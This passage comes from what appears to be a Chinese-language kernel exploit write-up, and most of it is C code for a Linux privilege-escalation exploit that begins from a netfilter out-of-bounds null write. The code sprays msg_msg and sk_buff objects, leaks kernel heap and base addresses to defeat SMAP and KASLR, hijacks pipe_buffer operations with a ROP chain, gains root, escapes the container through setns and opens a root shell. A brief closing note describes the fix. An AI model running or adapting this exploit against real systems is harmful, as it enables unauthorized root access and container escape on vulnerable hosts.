  *rop++ = kbase_addr + POP_RSI_RET;
                         // pop rsi; ret;
  *rop++ = kbase_addr + INIT_NSPROXY; // RSI
                         // init_nsproxy
  *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;
                        // switch_task_namespaces

  // Load RBP from scratchpad_addr and resume
execution.
  *rop++ = kbase_addr + POP_RBP_RET;
                         // pop rbp; ret;
  *rop++ = scratchpad_addr - 0xA; // RBP
  *rop++ = kbase_addr +
PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
  // push qword ptr [rbp + 0xa]; pop rbp; ret;
  *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
                         // mov rsp, rbp; pop rbp;
ret;
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }

  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
  if (sched_setaffinity(getpid(), sizeof(set), &set)
< 0) {
    perror("[-] sched_setaffinity");
    return -1;
  }

  return 0;
}

int main(int argc, char *argv[]) {
  int s;
  int fd;
  int ss[NUM_SOCKETS][2];
  int pipefd[NUM_PIPEFDS][2];
  int msqid[NUM_MSQIDS];

  char primary_buf[PRIMARY_SIZE -
SKB_SHARED_INFO_SIZE];
  char secondary_buf[SECONDARY_SIZE -
SKB_SHARED_INFO_SIZE];

  struct msg_msg *msg;
  struct pipe_buf_operations *ops;
  struct pipe_buffer *buf;

  uint64_t pipe_buffer_ops = 0;
  uint64_t kheap_addr = 0, kbase_addr = 0;

  int fake_idx = -1, real_idx = -1;

  printf("[+] STAGE 0: Initialization\n");

  printf("[*] Setting up namespace sandbox...\n");
  if (setup_sandbox() < 0)
    goto err_no_rmid;

  printf("[*] Initializing sockets and message
queues...\n");

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("[-] socket");
    goto err_no_rmid;
  }

  for (int i = 0; i < NUM_SOCKETS; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) <
0) {
      perror("[-] socketpair");
      goto err_no_rmid;
    }
  }
// 1. two bytes null write -> UAF
// 1-1. gain 4096 msg queue
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT |
0666)) < 0) {
      perror("[-] msgget");
      goto err_no_rmid;
    }
  }

  printf("\n");
  printf("[+] STAGE 1: Memory corruption\n");
//1-2. create 4096 primary msg —— size=0x1000
  printf("[*] Spraying primary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    memset(&msg_primary, 0, sizeof(msg_primary));
    *(int *)&msg_primary.mtext[0] = MSG_TAG;
    *(int *)&msg_primary.mtext[4] = i;
    if (write_msg(msqid[i], &msg_primary,
sizeof(msg_primary), MTYPE_PRIMARY) <
        0)
      goto err_rmid;
  }
// 1-3. create 4096 secondary msg —— size=0x400
  printf("[*] Spraying secondary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    memset(&msg_secondary, 0, sizeof(msg_secondary));
    *(int *)&msg_secondary.mtext[0] = MSG_TAG;
    *(int *)&msg_secondary.mtext[4] = i;
    if (write_msg(msqid[i], &msg_secondary,
sizeof(msg_secondary),
                  MTYPE_SECONDARY) < 0)
      goto err_rmid;
  }
// 1-4. release #1024/#2048/#3072 msg
  printf("[*] Creating holes in primary
messages...\n");
  for (int i = HOLE_STEP; i < NUM_MSQIDS; i +=
HOLE_STEP) {
    if (read_msg(msqid[i], &msg_primary,
sizeof(msg_primary), MTYPE_PRIMARY) <
        0)
      goto err_rmid;
  }
// 1-5. make xt_table_info struct take up the hole,
and triger 2 bytes null write
  printf("[*] Triggering out-of-bounds write...\n");
  if (trigger_oob_write(s) < 0)
    goto err_rmid;
// 1-6. find which msg is corrupted
  printf("[*] Searching for corrupted primary
message...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if (i != 0 && (i % HOLE_STEP) == 0)
      continue;
    if (peek_msg(msqid[i], &msg_secondary,
sizeof(msg_secondary), 1) < 0)
```

```
      goto err_no_rmid;
    if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
      printf("[-] Error could not corrupt any primary
message.\n");
      goto err_no_rmid;
    }
    if (*(int *)&msg_secondary.mtext[4] != i) {
      fake_idx = i;
      real_idx = *(int *)&msg_secondary.mtext[4];
      break;
    }
  }

  if (fake_idx == -1 && real_idx == -1) {
    printf("[-] Error could not corrupt any primary
message.\n");
    goto err_no_rmid;
  }

  // fake_idx's primary message has a corrupted next
pointer; wrongly pointing to real_idx's secondary
message.
  printf("[+] fake_idx: %x\n", fake_idx);
  printf("[+] real_idx: %x\n", real_idx);

  printf("\n");
  printf("[+] STAGE 2: SMAP bypass\n");
// 2. leak secondary msg address (kmalloc-0x400) ->
to forge `msg_msg->m_list->next & prev`
// 2-1. free overlapped msg
  printf("[*] Freeing real secondary message...\n");
  if (read_msg(msqid[real_idx], &msg_secondary,
sizeof(msg_secondary),
                MTYPE_SECONDARY) < 0)
    goto err_rmid;
  // Reclaim the previously freed secondary message
with a fake msg_msg of maximum possible size.
// 2-2. spray and forge msg_msg (forge larger
msg_msg->m_ts)
  printf("[*] Spraying fake secondary
messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, 0x41414141,
0x42424242,
                PAGE_SIZE - MSG_MSG_SIZE, 0);
  if (spray_skbuff(ss, secondary_buf,
sizeof(secondary_buf)) < 0)
    goto err_rmid;
// 2-2. leak heap pointer `msg_msg->m_list->prev`
(kmalloc-0x1000)
  // Use the fake secondary message to read out-of-
bounds.
  printf("[*] Leaking adjacent secondary
message...\n");
  if (peek_msg(msqid[fake_idx], &msg_fake,
sizeof(msg_fake), 1) < 0)
    goto err_rmid;

  // Check if the leak is valid.
  if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] !=
MSG_TAG) {
    printf("[-] Error could not leak adjacent
secondary message.\n");
    goto err_rmid;
  }

  // The secondary message contains a pointer to the
primary message.
  msg = (struct msg_msg
*)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
  kheap_addr = msg->m_list_next;
  if (kheap_addr & (PRIMARY_SIZE - 1))
    kheap_addr = msg->m_list_prev;
  printf("[+] kheap_addr: %" PRIx64 "\n",
kheap_addr);

  if ((kheap_addr & 0xFFFF000000000000) !=
0xFFFF000000000000) {
    printf("[-] Error kernel heap address is
incorrect.\n");
    goto err_rmid;
  }
// 2-3. leak heap pointer `msg_msg->m_list->prev`
(kmalloc-0x400)  (forge msg_msg->next)
  printf("[*] Freeing fake secondary messages...\n");
  free_skbuff(ss, secondary_buf,
sizeof(secondary_buf));

  // Put kheap_addr at next to leak its content.
Assumes zero bytes before
  // kheap_addr.
  printf("[*] Spraying fake secondary
messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, 0x41414141,
0x42424242,
                sizeof(msg_fake.mtext), kheap_addr -
MSG_MSGSEG_SIZE);      // fist 8 bytes must be NULL
  if (spray_skbuff(ss, secondary_buf,
sizeof(secondary_buf)) < 0)
    goto err_rmid;

  // Use the fake secondary message to read from
kheap_addr.
  printf("[*] Leaking primary message...\n");
  if (peek_msg(msqid[fake_idx], &msg_fake,
sizeof(msg_fake), 1) < 0)
```

```
    goto err_rmid;

  // Check if the leak is valid.
  if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG)
{
    printf("[-] Error could not leak primary
message.\n");
    goto err_rmid;
  }

  // The primary message contains a pointer to the
secondary message.
  msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE -
MSG_MSG_SIZE];
  kheap_addr = msg->m_list_next;
  if (kheap_addr & (SECONDARY_SIZE - 1))
    kheap_addr = msg->m_list_prev;

  // Calculate the address of the fake secondary
message.
  kheap_addr -= SECONDARY_SIZE;
  printf("[+] kheap_addr: %" PRIx64 "\n",
kheap_addr);

  if ((kheap_addr & 0xFFFF00000000FFFF) !=
0xFFFF000000000000) {
    printf("[-] Error kernel heap address is
incorrect.\n");
    goto err_rmid;
  }
// 3. leak kernel base
  printf("\n");
  printf("[+] STAGE 3: KASLR bypass\n");

  printf("[*] Freeing fake secondary messages...\n");
  free_skbuff(ss, secondary_buf,
sizeof(secondary_buf));

// 3-1. forge `msg_msg->m_list->next & prev` so that
list_del() does not crash.
  printf("[*] Spraying fake secondary
messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, kheap_addr,
kheap_addr, 0, 0);
  if (spray_skbuff(ss, secondary_buf,
sizeof(secondary_buf)) < 0)
    goto err_rmid;
// 3-2. free secondary msg
  printf("[*] Freeing sk_buff data buffer...\n");
  if (read_msg(msqid[fake_idx], &msg_fake,
sizeof(msg_fake), MTYPE_FAKE) < 0)
    goto err_rmid;
// 3-3. spray pipe_buffer object
  printf("[*] Spraying pipe_buffer objects...\n");
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (pipe(pipefd[i]) < 0) {
      perror("[-] pipe");
      goto err_rmid;
    }
    // Write something to populate pipe_buffer.
    if (write(pipefd[i][1], "pwn", 3) < 0) {
      perror("[-] write");
      goto err_rmid;
    }
  }
// 3-4. leak pipe_buffer->ops —— kernel base
  printf("[*] Leaking and freeing pipe_buffer
object...\n");
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], secondary_buf,
sizeof(secondary_buf)) < 0) {
        perror("[-] read");
        goto err_rmid;
      }
      if (*(uint64_t *)&secondary_buf[0x10] !=
MTYPE_FAKE)
        pipe_buffer_ops = *(uint64_t
*)&secondary_buf[0x10];
    }
  }

  kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
  printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n",
pipe_buffer_ops);
  printf("[+] kbase_addr: %" PRIx64 "\n",
kbase_addr);

  if ((kbase_addr & 0xFFFF0000000FFFFF) !=
0xFFFF000000000000) {
    printf("[-] Error kernel base address is
incorrect.\n");
    goto err_rmid;
  }
// 4. hijack control-flow
  printf("\n");
  printf("[+] STAGE 4: Kernel code execution\n");
// 4-1. use skb to forge fake pipe_buffer
  printf("[*] Spraying fake pipe_buffer
objects...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  buf = (struct pipe_buffer *)&secondary_buf;
  buf->ops = kheap_addr + 0x290;
  ops = (struct pipe_buf_operations
*)&secondary_buf[0x290];
```

```
  // RSI points to &buf.
  ops->release = kbase_addr +
PUSH_RSI_JMP_QWORD_PTR_RSI_39;                          //
// 4-2. construct ROP chain
  build_krop(secondary_buf, kbase_addr, kheap_addr +
0x2B0);
  if (spray_skbuff(ss, secondary_buf,
sizeof(secondary_buf)) < 0)
    goto err_rmid;
// 4-3. trigger pipe_release()
  printf("[*] Releasing pipe_buffer objects...\n");
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (close(pipefd[i][0]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
    if (close(pipefd[i][1]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
  }
// 4-4. get root
  printf("[*] Checking for root...\n");
  // if ((fd = open("/flag", O_RDONLY)) < 0) {
          // /etc/shadow
  //   printf("[-] Error could not gain root
privileges.\n");
  //   goto err_rmid;
  // }
  // close(fd);
  printf("[+] Root privileges gained.\n");

  printf("\n");
  printf("[+] STAGE 5: Post-exploitation\n");

  printf("[*] Escaping container...\n");
  setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
  setns(open("/proc/1/ns/pid", O_RDONLY), 0);
  setns(open("/proc/1/ns/net", O_RDONLY), 0);

  printf("[*] Cleaning up...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    // TODO: Fix next pointer.
    if (i == fake_idx)
      continue;
    if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
      perror("[-] msgctl");
  }
  for (int i = 0; i < NUM_SOCKETS; i++) {
    if (close(ss[i][0]) < 0)
      perror("[-] close");
    if (close(ss[i][1]) < 0)
      perror("[-] close");
  }
  if (close(s) < 0)
    perror("[-] close");

  printf("[*] Popping root shell...\n");
  system("/bin/sh");
          // char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);

  return 0;

err_rmid:
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if (i == fake_idx)
      continue;
    if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
      perror("[-] msgctl");
  }
```

```
err_no_rmid:
  return 1;
}
```

漏洞修复

在该commit中被修复
修复思想是取消pad这一部分,并且在之前对`neoinfo`进行提前置0

参考

bsauce
arttnba3